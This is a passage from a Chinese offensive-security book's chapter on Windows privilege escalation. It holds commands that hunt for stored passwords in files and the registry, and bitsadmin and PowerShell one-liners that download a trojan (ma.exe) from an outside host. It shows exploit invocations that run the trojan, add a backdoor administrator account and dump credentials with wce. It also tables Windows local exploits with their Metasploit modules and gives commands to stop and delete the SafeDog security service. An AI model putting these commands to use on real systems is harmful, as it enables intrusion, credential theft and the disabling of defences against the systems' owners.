网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.1 Windows提权基础

本章提及的Windows提权特指针对Windows操作系统的提权,有关数据库及应用程序的提权会在后续章节中详细介绍。本章主要介绍一些与提权相关的基础知识。

2.1.1 Windows提权信息的收集

Windows提权信息涉及多个方面,下面分别进行介绍。

1.操作系统的名称和版本信息

        systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
        systeminfo | findstr /B /C:"OS名称" /C:"OS版本"

2.主机名称和所有环境变量

·主机名称:hostname命令。

·环境变量:SET命令。

3.查看用户信息

·查看所有用户:“net user”或“net1 user”命令。

·查看管理员用户组:“net localgroup administrators”或“net1 localgroup administrators”命令。

·查看远程终端在线用户:“query user”或“quser”命令。

4.查看远程端口

(1)通过注册表查看

运行“REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/v PortNumber”命令。

(2)通过命令行查看

·获取对应的PID号:“tasklist/svc | find "TermService"”命令。

·通过PID号查找端口:“netstat-ano | find "1980"”命令。

5.查看网络情况

·网络配置情况:“ipconfig/all”命令。

·路由器信息:“route print”命令。

·要查看ARP缓存:“arp-a”命令。

·查看网络连接:“netstat-ano”命令。

·查看防火墙规则,命令如下。

        netsh firewall show config
        netsh firewall show state

6.应用程序和服务

·查看服务的进程ID:“tasklist/SVC”命令。

·查看已安装驱动程序的列表:DRIVERQUERY命令。

·查看已经启动的Windows服务:“net start”命令。

·查看某服务的启动权限:“sc qc TermService”命令。

·查看已安装程序的列表:“wmic product list brief”命令。

·查看服务列表:“wmic service list brief”命令。

·查看进程列表:“wmic process list brief”命令。

·查看启动程序列表:“wmic startup list brief”命令

·查看已安装的更新和安装日期,代码如下。

        wmic qfe get Caption, De**ion, HotFixID, InstalledOn

搜索可以提升权限的特定漏洞,代码如下。

        wmic qfe get Caption, De**ion, HotFixID, InstalledOn | findstr  /C:"KBxxxxxxx"

如果执行上面的命令后没有输出,意味着那个补丁未安装。

·结束程序:“wmic process where name="iexplore.exe" call terminate”命令。

7.检索敏感文件

        dir /b /s password.txt
        dir /b /s *.doc
        dir /b /s *.ppt
        dir /b /s *.xls
        dir /b /s *.docx
        dir /b /s *.xlsx
        dir /b /s config.* filesystem
        findstr /si password *.xml *.ini *.txt
        findstr /si login *.xml *.ini *.txt

除此之外,还可以检查无人值守安装日志文件。这些文件通常包含Base64编码的密码。在大型企业中,单个系统手动安装是不切实际的,找到这些文件即可获取管理员密码。这些文件的共同位置如下。

        C:\sysprep.inf
        C:\sysprep\sysprep.xml
        C:\Windows\Panther\Unattend\Unattended.xml
        C:\Windows\Panther\Unattended.xml

8.目录文件操作

·列出d:\www下的所有目录,命令如下。

        for /d %i in (d:\www\*) do @echo %i

·把当前路径下文件夹名字只有1~3个字母的显示出来,命令如下。

        for /d %i in (? ? ? ) do @echo %i

·以当前目录为搜索路径,把当前目录及其子目录中的全部EXE文件列出,命令如下。

        for /r %i in (*.exe) do @echo %i

·以指定目录为搜索路径,把当前目录及其子目录中的所有文件列出,命令如下。

        for /r "f:\freehost\hmadesign\web\" %i in (*.*) do @echo %i

·显示a.txt中的内容,因为/f的作用,会读出a.txt中的内容,命令如下。

        for /f %i in (c:\1.txt) do echo %i

9.RAR打包

        rar a -k -r -s -m3 c:\1.rar d:\wwwroot

10.PHP读文件

        c:/php/php.exe "c:/www/admin/1.php"

11.Windows 7及以上版本下载可以使用的bitsadmin和PowerShell

        bitsadmin /transfern http://www.antian365.com/ma.exe d:\ma.exe
        powershell   (new-object   System.Net.WebClient).DownloadFile('   http://www.
    antian365.com/ma.exe', 'ma.exe')

12.注册表关键字搜索

password为关键字,可以是vnc等敏感关键字,命令如下。

        reg query HKLM /f password /t REG_SZ /s
        reg query HKCU /f password /t REG_SZ /s

13.系统权限配置

        cacls c:\
        cacls c:\windows\ma.exe //查看ma.exe的权限配置

14.自动收集系统有用的脚本

        for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set
    "var=%%A"
        wmic process get CSName, Description, ExecutablePath, ProcessId /format:"%var%" >>
    out.html
        wmic service get Caption, Name, PathName, ServiceType, Started, StartMode, StartName
    /format:"%var%" >> out.html
        wmic USERACCOUNT list full /format:"%var%" >> out.html
        wmic group list full /format:"%var%" >> out.html
        wmic nicconfig where IPEnabled='true'get Caption, DefaultIPGateway, Description,
    DHCPEnabled, DHCPServer, IPAddress, IPSubnet, MACAddress /format:"%var%" >> out.html
        wmic   volume   get   Label, DeviceID, DriveLetter, FileSystem, Capacity, FreeSpace
    /format:"%var%" >> out.html
        wmic netuse list full /format:"%var%" >> out.html
        wmic  qfe  get  Caption, Description, HotFixID, InstalledOn  /format:"%var%"  >>
    out.html
        wmic startup get Caption, Command, Location, User /format:"%var%" >> out.html
        wmic PRODUCT get Description, InstallDate, InstallLocation, PackageCache, Vendor,
    Version /format:"%var%" >> out.html
        wmic os get name, version, InstallDate, LastBootUpTime, LocalDateTime, Manufacturer,
    RegisteredUser, ServicePackMajorVersion, SystemDirectory /format:"%var%" >> out.html
        wmic  Timezone  get  DaylightName, Description, StandardName  /format:"%var%"  >>
    out.html

2.1.2 Windows提权准备

通过前面的基础命令,我们可以有针对性地对目标开展提权工作。使用Windows-Exploit-Suggester获取目前系统中可能存在的漏洞,步骤如下。

① 收集并编译相关POC。

② 若操作系统中安装了杀毒软件及安全防护软件,则需要对提权POC进行免杀,否则直接进行下一步。

③ 上传POC。

④ 由WebShell或者反弹WebShell来执行命令。

⑤ 搜索漏洞,根据关键字进行搜索,例如MS10-061。

·在百度浏览器中搜索“MS10-061 site:exploit-db.com”。

·访问packetstormsecurity网站进行搜索(https://packetstormsecurity.com/search/?q=MS16-016)。

·安全焦点的BugTraq是一个出色的漏洞和Exploit数据源,可以通过CVE编号或者产品信息漏洞直接搜索,网址为http://www.securityfocus.com/bid

2.1.3 使用MSF平台搜索可利用的POC

(1)搜索POC

在Kali中打开MSF或者执行“/usr/bin/msfconsole”命令,在命令提示符下使用如下命令进行搜索。

        search ms08
        search ms09
        search ms10
        search ms11
        search ms12
        search ms13
        search ms14
        search ms15
        search ms16
        search ms17

以上命令用于搜索2008年至2017年Windows下所有可用的exploit。搜索2015年的Exploit,如图2-1所示。

图2-1 搜索2015年所有可用的0day漏洞

(2)查看相关漏洞情况

可以通过微软官方网站查看漏洞所对应的版本,利用方式为“https://technet.microsoft.com/library/security/漏洞号”。例如,查看MS08-068的网页,打开方式为“https://technet.microsoft.com/library/security/ms08-068”。如图2-2所示,如果显示为“严重”,则表明可以被利用。

图2-2 微软对应漏洞版本号

2.1.4 实施提权

可以通过执行命令进行提权。例如,可利用POC文件为poc.exe,则可以使用如下命令提权。

·直接执行木马。

        poc.exe ma.exe

·添加用户。

        poc.exe "net user antian365 1qaz2wsx /add"
        poc.exe "net localgroup administrators antian365 /add"

·获取明文密码或者哈希值。

        poc.exe "wce32.exe -w"
        poc.exe "wce64.exe -w"
        poc.exe "wce32"

2.1.5 相关资源

1.工具

· wce下载:http://www.ampliasecurity.com/research/windows-credentials-editor/; http://www.ampliasecurity.Com/research/wce_v1_42beta_x32.zip; http://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip

· sysinternals: https://technet.microsoft.com/en-us/sysinternals/bb842062

· mimikatz: http://blog.gentilkiwi.com/mimikatz

· python: https://www.python.org/downloads/windows/

2.搜索漏洞和Shellcode

· http://www.exploit-db.com

· http://1337day.com

· http://0day.today

· http://www.securityfocus.com

· http://seclists.org/fulldisclosure/

· http://www.exploitsearch.net

· http://www.securiteam.com

· http://metasploit.com/modules/

· http://securityreason.com

· https://cxsecurity.com/exploit/

· http://securitytracker.com/

2.1.6 Windows本地溢出漏洞及对应版本

1.2007年对应漏洞、编号及其影响系统和MSF模块

· KB935966|MS07-029 Windows 2000 SP4、Windows Server 2003 SP1/SP2

exploit/windows/dcerpc/ms07_029_msdns_zonename

exploit/windows/smb/ms07_029_msdns_zonename

· KB937894|MS07-065 Windows XP SP2、Windows 2000 SP4、Windows XP x64 SP2、Windows Server 2003 SP1/SP2

exploit/windows/dcerpc/ms07_065_msmq

· KB941568|MS07-064 Windows 2000 SP4

exploit/windows/misc/ms07_064_sami

· KB944653|MS07-067 Windows XP SP2、Windows XP x64 SP2、Windows Server 2003 SP1/SP2

2.2008年对应漏洞、编号及其影响系统和MSF模块

· KB958644|MS08-067 Windows 2000 SP4、Windows XP SP2/SP3、Windows XP 64 SP/SP2、Windows Server 2003 SP1/SP2、Windows Server 2003 64/SP2

exploit/windows/smb/ms08_067_netapi

· KB 957097|MS08-068 Windows 2000 SP4、Windows XP SP2/SP3、Windows XP 64 SP/SP2、Windows Server 2003 SP1/SP2、Windows Server 2003 64/SP2

exploit/windows/smb/smb_relay

3.2009年对应漏洞、编号及其影响系统和MSF模块

· KB952004|MS09-012 PR Windows Server 2003/2008

· KB956572|MS09-012烤肉

· KB970483|MS09-020 IIS6

· KB971657|MS09-041 Windows XP、Windows Server 2003提权

· KB975254|MS09-053 IIS5远程溢出,Windows 2000 SP4、Windows Server 2003及Windows Server 2008拒绝服务

· KB975517|MS09-050 Windows Vista、Windows Server 2008 32/SP2、Windows Server 2008 64/SP2

exploit/windows/smb/ms09_050_smb2_negotiate_func_index

4.2010年对应漏洞、编号及其影响系统和MSF模块

· KB977165|MS10-015 Windows Vista、Windows Server 2003 32-64/SP2、Windows Server 2008 32-64/SP2

exploit/windows/local/ms10_015_kitrap0d

· KB 2347290|MS10-061 Windows XP SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Server 2008 32-64 SP2

· KB2360937|MS10-084 Windows XP 3、Windows XP 64 SP 2、Windows Server 2003 32-64 SP2

· KB2305420|MS10-092 Windows 7 32-64、Windows Server 2008 32-64、Windows Server 2008 R2 32-64

exploit/windows/local/ms10_092_schelevator

· KB2124261|KB2271195 MS10-065 IIS7

5.2011年对应漏洞、编号及其影响系统和MSF模块

· KB2393802|MS11-011 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP2

· KB2478960|MS11-014 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2

· KB2507938|MS11-056 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP2

· KB2566454|MS11-062 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2

· KB2620712|MS11-097 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1

· KB2503665|MS11-046 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1

· KB2592799|MS11-080 Windows XP SP3、Windows Server 2003 SP2

exploit/windows/local/ms11_080_afdjoinleaf

6.2012年对应漏洞、编号及其影响系统和MSF模块

· KB2711167|KB2707511|KB2709715|MS12-042 sysret-pid Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012

· KB2621440|MS12-020 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1、

7.2013年对应漏洞、编号及其影响系统和MSF模块

· KB2778930|MS13-005 Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012

exploit/windows/local/ms13_005_hwnd_broadcast

· KB2840221|MS13-046 Windows XP 32 SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012、Windows Server 2012 R2

· KB2850851|MS13-053 EPATHOBJ 0day Windows XP 32 SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012

exploit/windows/local/ms13_053_schlamperei

8.2014年对应漏洞、编号及其影响系统和MSF模块

· KB 2914368 |MS14-002 Windows XP SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2

exploit/windows/local/ms_ndproxy

· KB 2916607|MS14-009 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms14_009_ie_dfsvc

· KB3000061|MS14-058 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms14_058_track_popup_menu

· KB 2989935|MS14-070 Windows Server 2003 32-64 SP2

exploit/windows/local/ms14_070_tcpip_ioctl

9.2015年对应漏洞、编号及其影响系统和MSF模块

· KB3023266|MS15-001 Windows 7 32-64 SP1、Windows Server 2008 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ntapphelpcachecontrol

· KB3025421|MS15_004、Windows 7 32-64 SP1、Windows Server 2008 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms15_004_tswbproxy

· KB3041836|MS15-020、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/smb/ms15_020_shortcut_icon_dllloader

· KB3057191|MS15-051 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms15_051_client_copy_image

· KB3077657|MS15-077 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64-SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

· KB 3079904|MS15_078 Windows 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/local/ms15_078_atmfd_bof

· KB3079904|MS15-097 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2

exploit/windows/smb/ms15_020_shortcut_icon_dllloader

10.2016年对应漏洞、编号及其影响系统和MSF模块

· KB3134228|MS16-014 Windows Server 2008、Windows 7、Windows Server 2012

· KB3124280|MS16-016 WebDAV提权漏洞Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 32-64 SP1、Windows 2008 R2 64 SP1、Windows 8.1 32-64、Windows Server 2012、Windows Server 2012 R2、Windows 10 32-64

exploit/windows/local/ms16_016_webdav

· KB3139914|MS16-032 Windows Vista 32-64 SP2、Windows Server2008 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8.1 32-64、Windows Server 2012、Windows Server 2012 R2、Windows 10 32-64

exploit/windows/local/ms16_032_secondary_logon_handle_privesc

如果Windows Server 2003 SP2安装了MS10-046补丁,可用ms15_020进行溢出。如果Windows Server 2008 SP2(32位)安装了MS14-027补丁,可用ms15_020进行溢出。

2.1.7 停用安全狗

如果是system权限,可以采取如下方法停用安全狗。

·停用安全狗的相关服务,代码如下。

        net stop   "Safedog Guard Center"  /y
        net stop   "Safedog Update Center" /y
        net stop   "SafeDogCloudHelper"  /y

·直接删除SafeDogGuardCenter服务,代码如下。

        sc stop "SafeDogGuardCenter"
        sc config "SafeDogGuardCenter" start= disabled
        sc delete "SafeDogGuardCenter"

        sc stop "SafeDogUpdateCenter"
        sc config "SafeDogUpdateCenter" start= disabled
        sc delete "SafeDogUpdateCenter"

        sc stop "SafeDogCloudHelper"
        sc config "SafeDogCloudHelper" start= disabled
        sc delete "SafeDogCloudHelper"